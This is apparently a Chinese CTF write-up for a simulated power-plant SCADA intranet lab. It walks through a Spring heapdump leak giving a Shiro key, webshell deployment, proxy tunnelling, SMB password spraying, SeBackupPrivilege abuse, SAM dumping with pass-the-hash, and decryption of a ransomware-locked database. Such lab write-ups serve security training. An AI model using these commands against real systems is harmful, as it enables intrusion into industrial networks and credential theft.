ThermalPower

tag

内网渗透ShiroSCADA工控安全

题目描述

该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h

解题背景

第1关

评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。
第2关
尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。
第3关
尝试接管 SCADA 工程师站,并启动锅炉。
第4关
尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。

信息搜集

先用fscan扫一下机器
./fscan.exe -h 39.98.127.19

1
2
3
4
5
6
7
8
9
start infoscan
39.98.127.19:8080 open
39.98.127.19:22 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://39.98.127.19:8080 code:302 len:0 title:None 跳转url: http://39.98.127.19:8080/login;jsessionid=A41B4CF821A9F532DADB3C4A6B41ACBD
[*] WebTitle http://39.98.127.19:8080/login;jsessionid=A41B4CF821A9F532DADB3C4A6B41ACBD code:200 len:2936 title:火创能源监控画面管理平台
[+] PocScan http://39.98.127.19:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://39.98.127.19:8080 poc-yaml-springboot-env-unauth spring2

flag01

存在heapdump泄露,先下载heapdump文件下来
http://39.98.127.19:8080/actuator/heapdump
然后利用JDumpSpider进行分析
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
发现shiro秘钥

1
2
3
4
5
6
===========================================
CookieRememberMeManager(ShiroKey)
-------------
algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES

===========================================

shiroattack2直接打马

拿flag01

flag{81700400-eecc-4895-aa1e-042d7309a630}

flag03

然后stowaway连接挂代理
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.98.127.19:44444 -s 123
在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.98.127.19:44445 -s 123
socks 12345
上传fscan扫描一下
ifconfig
./fscan -h 172.22.17.0/24 -nobr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
start infoscan
(icmp) Target 172.22.17.6 is alive
(icmp) Target 172.22.17.213 is alive
[*] Icmp alive hosts len is: 2
172.22.17.6:445 open
172.22.17.6:139 open
172.22.17.213:8080 open
172.22.17.6:135 open
172.22.17.6:80 open
172.22.17.213:22 open
172.22.17.6:21 open
[*] alive ports len is: 7
start vulscan
[*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - /
[*] NetInfo
[*]172.22.17.6
[->]WIN-ENGINEER
[->]172.22.17.6
[*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER
[*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=3CE951B9B0A16E0B9752FC8FB0253599
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=3CE951B9B0A16E0B9752FC8FB0253599 code:200 len:2936 title:火创能源监控画面管理平台
[+] ftp 172.22.17.6:21:anonymous
[->]Modbus
[->]PLC
[->]web.config
[->]WinCC
[->]内部软件
[->]火创能源内部资料
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2
已完成 7/7
[*] 扫描结束,耗时: 5.755238895s

访问http://172.22.17.6
查看文件SCADA.txt获得账号密码

1
2
3
WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

试一下密码喷洒
proxychains -q crackmapexec smb 172.22.26.0/24 -u 'Administrator' -p 'IYnT3GyCiy3'

发现172.22.26.11可以登录
直接点击锅炉开就有flag03
flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}

flag04

在桌面上发现ScadaDB.sql.locky,并且题目附件里给了privateKey和encryptedAesKey,在C盘找到Lockyou.exe,因此现在需要解密ScadaDB.sql.locky
用dnSpy对exe进行反编译,找到加密逻辑,需要秘钥

privateKey格式转换
RSA公私钥PEM与XML格式转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+
PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3
YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr
rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17
8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox
RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN
UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz
J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ
vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk
Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/
xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0
VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd
FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy
PHvLZB6D8zSyuGw=
-----END PRIVATE KEY-----

找个在线网站把encryptedAesKey解一下

得到key
cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=
最后写个aes脚本解一下sql文件,把前16位作为iv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
#!/usr/bin/env python3
"""
Locky勒索软件解密工具
注意:需要先获取AES密钥才能使用
"""

import os
import sys
import argparse
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
import base64

class LockyDecryptor:
def __init__(self, aes_key=None, key_file=None):
"""
初始化解密器

Args:
aes_key: AES密钥(bytes或base64字符串)
key_file: 包含密钥的文件路径
"""
self.aes_key = self._load_key(aes_key, key_file)

def _load_key(self, aes_key, key_file):
"""加载AES密钥"""
key = None

# 从文件加载密钥
if key_file and os.path.exists(key_file):
with open(key_file, 'rb') as f:
key_data = f.read().strip()
# 尝试base64解码
try:
key = base64.b64decode(key_data)
except:
key = key_data # 如果不是base64,直接使用原始数据

# 从参数加载密钥
elif aes_key:
if isinstance(aes_key, str):
# 如果是字符串,尝试base64解码
try:
key = base64.b64decode(aes_key)
except:
# 如果不是base64,使用字符串的字节表示
key = aes_key.encode('utf-8')
else:
key = aes_key

# 验证密钥长度
if key and len(key) not in [16, 24, 32]:
print(f"警告: 密钥长度 {len(key)} 字节,不是标准AES密钥长度(16,24,32)")

return key

def decrypt_file(self, encrypted_file, output_file=None):
"""
解密单个文件

Args:
encrypted_file: 加密文件路径
output_file: 输出文件路径(可选)
"""
if not self.aes_key:
raise ValueError("未提供AES密钥")

if not os.path.exists(encrypted_file):
raise FileNotFoundError(f"加密文件不存在: {encrypted_file}")

# 自动生成输出文件名
if not output_file:
if encrypted_file.endswith('.locky'):
output_file = encrypted_file[:-6] # 移除.locky扩展名
else:
output_file = encrypted_file + '.decrypted'

try:
with open(encrypted_file, 'rb') as f:
# 读取IV(前16字节)
iv = f.read(16)

# 读取加密数据
encrypted_data = f.read()

# 创建AES解密器
cipher = AES.new(self.aes_key, AES.MODE_CBC, iv)

# 解密数据
decrypted_data = cipher.decrypt(encrypted_data)

# 移除PKCS7填充
try:
decrypted_data = unpad(decrypted_data, AES.block_size)
except ValueError as e:
print(f"警告: 填充移除失败,可能不是标准PKCS7填充: {e}")
# 继续使用未移除填充的数据

# 写入解密后的文件
with open(output_file, 'wb') as f:
f.write(decrypted_data)

print(f"成功解密: {encrypted_file} -> {output_file}")
return True

except Exception as e:
print(f"解密失败 {encrypted_file}: {e}")
return False

def decrypt_directory(self, directory, file_extensions=None):
"""
解密目录中的所有.locky文件

Args:
directory: 目录路径
file_extensions: 要解密的文件扩展名列表
"""
if not file_extensions:
file_extensions = ['.locky']

decrypted_count = 0
total_count = 0

for root, dirs, files in os.walk(directory):
for file in files:
if any(file.endswith(ext) for ext in file_extensions):
total_count += 1
file_path = os.path.join(root, file)
if self.decrypt_file(file_path):
decrypted_count += 1

print(f"\n解密完成: {decrypted_count}/{total_count} 个文件成功解密")
return decrypted_count

def search_memory_for_keys():
"""尝试从内存转储中搜索密钥的辅助函数"""
print("""
内存密钥搜索建议:
1. 使用Volatility分析内存转储:
volatility -f memory.dmp --profile=Win10x64_19041 pslist | findstr locky
volatility -f memory.dmp --profile=Win10x64_19041 memdump -p <PID> -D ./

2. 在进程内存中搜索:
strings process_mem.dmp | grep -i "aes\\|rsa\\|privatekey"

3. 检查网络流量捕获中的密钥交换
""")

def main():
parser = argparse.ArgumentParser(description='Locky勒索软件解密工具')
parser.add_argument('-k', '--key', help='AES密钥(base64或hex字符串)')
parser.add_argument('-f', '--key-file', help='包含AES密钥的文件')
parser.add_argument('-i', '--input', required=True, help='要解密的文件或目录')
parser.add_argument('-o', '--output', help='输出文件路径(仅用于单文件解密)')
parser.add_argument('-r', '--recursive', action='store_true', help='递归解密目录')
parser.add_argument('--extensions', nargs='+', default=['.locky'],
help='要解密的文件扩展名(默认: .locky)')
parser.add_argument('--search-memory', action='store_true',
help='显示内存搜索密钥的建议')

args = parser.parse_args()

if args.search_memory:
search_memory_for_keys()
return

# 创建解密器
try:
decryptor = LockyDecryptor(aes_key=args.key, key_file=args.key_file)
except Exception as e:
print(f"初始化解密器失败: {e}")
return

# 执行解密
if os.path.isfile(args.input):
# 单文件解密
decryptor.decrypt_file(args.input, args.output)
elif os.path.isdir(args.input) and args.recursive:
# 目录递归解密
decryptor.decrypt_directory(args.input, args.extensions)
else:
print("错误: 输入路径不存在或不是文件/目录,或未指定-r参数用于目录解密")

if __name__ == "__main__":
main()

python exp.py -k "cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=" -i "ScadaDB.sql.locky" -o "decrypted.txt"
在解密后的文件里找到flag04

flag{63cd8cd5-151f-4f29-bdc7-f80312888158}
也可以用cyberchef

flag02

根据火创能源内部通知.docx和内部员工通讯录.xlsx中泄露的个人信息

1
2
2. 登陆账户设置:
为方便管理和标准化,登陆账户名将采用姓名全称的小写拼音形式。例如,张三的账户名为zhangsan,工号为0801。初始密码将由账户名+@+工号组成,例如,zhangsan@0801。

获得账号密码

1
2
3
4
5
6
7
8
9
10
chenhua chenhua@0813
zhaoli zhaoli@0821
wangning wangning@0837
zhangling zhangling@0871
zhangying zhangying@0888
wangzhiqiang wangzhiqiang@0901
chentao chentao@0922
zhouyong zhouyong@0939
lilong lilong@1046
liyumei liyumei@1048

选一个远程rdp登录

proxychains4 /usr/bin/impacket-wmiexec chenhua:"chenhua@0922"@172.22.17.6 -codec gbk
报错rpc_s_access_denied

在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。

proxychains rdesktop 172.22.17.6 -u chentao -p 'chentao@0922' -r disk:LinuxPictures=/home/kali/Desktop
proxychains xfreerdp /u:"chentao" /v:172.22.17.6:3389
chentao@0922
然后winPEAS检测特权

没找到好利用的特权

但发现在backup组

使用 EnableSeBackupPrivilege.ps1启用 SeBackupPrivilege:
Import-Module .\EnableSeBackupPrivilege.ps1
管理员身份运行PS,一键工具利用
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Get-SeBackupPrivilege

Copy-FileSeBackupPrivilege C:\Users\Administrator\flag\flag02.txt C:\Users\liyumei\Desktop\flag02.txt -Overwrite

成功拿到flag02

1
2
3
4
5
6
7
8
9
  _____.__                 _______   ________  
_/ ____\ | _____ ____ \ _ \ \_____ \
\ __\| | \__ \ / ___\/ /_\ \ / ____/
| | | |__/ __ \_/ /_/ > \_/ \/ \
|__| |____(____ /\___ / \_____ /\_______ \
\//_____/ \/ \/


flag02: flag{de946b53-3ba4-4fd0-b80f-aafc911ca447}

法二注册表 SAM 转储提权

1
2
3
4
5
PS C:\Users\chenhua\Desktop> cd C:\
PS C:\Users\chenhua\Desktop> mkdir xtemp
PS C:\Users\chenhua\Desktop> cd C:\xtemp
PS C:\Temp> reg save hklm\sam c:\xtemp\sam
PS C:\Temp> reg save hklm\system c:\xtemp\system

下载到本地,提取 Administrator 的 NTLM hash
impacket-secretsdump -sam sam -system system LOCAL
proxychains impacket-smbexec administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk